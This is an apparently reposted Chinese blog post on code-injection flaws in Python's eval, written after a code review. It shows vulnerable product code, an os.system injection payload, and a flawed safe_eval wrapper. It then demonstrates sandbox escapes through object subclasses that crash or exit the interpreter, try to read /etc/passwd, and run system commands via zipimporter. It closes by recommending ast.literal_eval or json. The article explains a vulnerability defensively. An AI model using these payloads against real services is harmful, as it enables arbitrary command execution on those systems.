溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Python eval的常見錯(cuò)誤封裝及利用原理詳解

發(fā)布時(shí)間:2020-10-20 19:18:32 來源:腳本之家 閱讀:107 作者:xxlegend 欄目:開發(fā)技術(shù)

最近在代碼評審的過程,發(fā)現(xiàn)挺多錯(cuò)誤使用eval導(dǎo)致代碼注入的問題,比較典型的就是把eval當(dāng)解析dict使用,有的就是簡單的使用eval,有的就是錯(cuò)誤的封裝了eval,供全產(chǎn)品使用,這引出的問題更嚴(yán)重,這些都是血淋淋的教訓(xùn),大家使用的時(shí)候多加注意。

下面列舉一個(gè)實(shí)際產(chǎn)品中的例子,詳情見[bug83055][1]:

def remove(request, obj):
  query = query2dict(request.POST)
  eval(query['oper_type'])(query, customer_obj)

而query就是POST直接轉(zhuǎn)換而來,是用戶可直接控制的,假如用戶在url參數(shù)中輸入oper_type=__import__('os').system('sleep 5') 則可以執(zhí)行命令sleep,當(dāng)然也可以執(zhí)行任意系統(tǒng)命令或者任意可執(zhí)行代碼,危害是顯而易見的,那我們來看看eval到底是做什么的,以及如何做才安全?

1,做什么

簡單來說就是執(zhí)行一段表達(dá)式

>>> eval('2+2')
4

>>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""")
{'ip': '10.10.10.10', 'name': 'xiaoming'}

>>> eval("__import__('os').system('uname')", {})
Linux
0

從這三段代碼來看,第一個(gè)很明顯做計(jì)算用,第二個(gè)把string類型數(shù)據(jù)轉(zhuǎn)換成python的數(shù)據(jù)類型,這里是dict,這也是咱們產(chǎn)品中常犯的錯(cuò)誤。第三個(gè)就是壞小子會這么干,執(zhí)行系統(tǒng)命令。

eval 可接受三個(gè)參數(shù),eval(source[, globals[, locals]]) -> value

globals必須是路徑,locals則必須是鍵值對,默認(rèn)取系統(tǒng)globals和locals

2,不正確的封裝

(1)下面我們來看一段咱們某個(gè)產(chǎn)品代碼中的封裝函數(shù),見[bug][2],或者網(wǎng)絡(luò)上搜索排名比較高的代碼,eg:

def safe_eval(eval_str):
 try:
  #加入命名空間
  safe_dict = {}
  safe_dict['True'] = True
  safe_dict['False'] = False
  return eval(eval_str,{'__builtins__':None},safe_dict)
 except Exception,e:
  traceback.print_exc()
  return ''

在這里__builtins__置為空了,所以像__import__這是內(nèi)置變量就沒有了,這個(gè)封裝函數(shù)就安全了嗎?下面我一步步道來:

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',

列表項(xiàng)

‘UnicodeEncodeError', ‘UnicodeError', ‘UnicodeTranslateError', ‘UnicodeWarning', ‘UserWarning', ‘ValueError', ‘Warning', ‘ZeroDivisionError', ‘_', ‘debug‘, ‘doc‘, ‘import‘, ‘name‘, ‘package‘, ‘a(chǎn)bs', ‘a(chǎn)ll', ‘a(chǎn)ny', ‘a(chǎn)pply', ‘basestring', ‘bin', ‘bool', ‘buffer', ‘bytearray', ‘bytes', ‘callable', ‘chr', ‘classmethod', ‘cmp', ‘coerce', ‘compile', ‘complex', ‘copyright', ‘credits', ‘delattr', ‘dict', ‘dir', ‘divmod', ‘enumerate', ‘eval', ‘execfile', ‘exit', ‘file', ‘filter', ‘float', ‘format', ‘frozenset', ‘getattr', ‘globals', ‘hasattr', ‘hash', ‘help', ‘hex', ‘id', ‘input', ‘int', ‘intern', ‘isinstance', ‘issubclass', ‘iter', ‘len', ‘license', ‘list', ‘locals', ‘long', ‘map', ‘max', ‘memoryview', ‘min', ‘next', ‘object', ‘oct', ‘open', ‘ord', ‘pow', ‘print', ‘property', ‘quit', ‘range', ‘raw_input', ‘reduce', ‘reload', ‘repr', ‘reversed', ‘round', ‘set', ‘setattr', ‘slice', ‘sorted', ‘staticmethod', ‘str', ‘sum', ‘super', ‘tuple', ‘type', ‘unichr', ‘unicode', ‘vars', ‘xrange', ‘zip']

從__builtins__可以看到其模塊中有__import__,可以借助用來執(zhí)行os的一些操作。如果置為空,再去執(zhí)行eval函數(shù)呢,結(jié)果如下:

>>> eval("__import__('os').system('uname')", {'__builtins__':{}})
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
 File "<string>", line 1, in <module>
NameError: name '__import__' is not defined

現(xiàn)在就是提示__import__未定義,不能成功執(zhí)行了,看情況是安全了吧?答案當(dāng)然是錯(cuò)的。
比如執(zhí)行如下:

>>> s = """
... (lambda fc=(
...  lambda n: [
...   c for c in
...    ().__class__.__bases__[0].__subclasses__()
...    if c.__name__ == n
...   ][0]
...  ):
...  fc("function")(
...   fc("code")(
...    0,0,0,0,"test",(),(),(),"","",0,""
...   ),{}
...  )()
... )()
... """
>>> eval(s, {'__builtins__':{}})
Segmentation fault (core dumped)

在這里用戶定義了一段函數(shù),這個(gè)函數(shù)調(diào)用,直接導(dǎo)致段錯(cuò)誤

下面這段代碼則是退出解釋器:

>>>
>>> s = """
... [
...  c for c in
...  ().__class__.__bases__[0].__subclasses__()
...  if c.__name__ == "Quitter"
... ][0](0)()
... """
>>> eval(s,{'__builtins__':{}})
liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $ 

初步理解一下整個(gè)過程:

>>> ().__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'Struct'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>]

這句python代碼的意思就是找tuple的class,再找它的基類,也就是object,再通過object找他的子類,具體的子類也如代碼中的輸出一樣。從中可以看到了有file模塊,zipimporter模塊,是不是可以利用下呢?首先從file入手
假如用戶如果構(gòu)造:

>>> s1 = """
... [
...  c for c in
...  ().__class__.__bases__[0].__subclasses__()
...  if c.__name__ == "file"
... ][0]("/etc/passwd").read()()
... """
>>> eval(s1,{'__builtins__':{}})
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
 File "<string>", line 6, in <module>
IOError: file() constructor not accessible in restricted mode

這個(gè)restrictected mode簡單理解就是python解釋器的沙盒,一些功能被限制了,比如說不能修改系統(tǒng),不能使用一些系統(tǒng)函數(shù),如file,詳情見Restricted Execution Mode,那怎么去繞過呢?這時(shí)我們就想到了zipimporter了,假如引入的模塊中引用了os模塊,我們就可以像如下代碼來利用。

>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == "zipimporter"][0](
...  "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module(
...  "configobj").os.system("uname")
... """
>>> eval(s2,{'__builtins__':{}})
Linux
0

這就驗(yàn)證了剛才的safe_eval其實(shí)是不安全的。

3,如何正確使用

(1)使用ast.literal_eval
(2)如果僅僅是將字符轉(zhuǎn)為dict,可以使用json格式

以上就是本文的全部內(nèi)容,希望對大家的學(xué)習(xí)有所幫助,也希望大家多多支持億速云。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI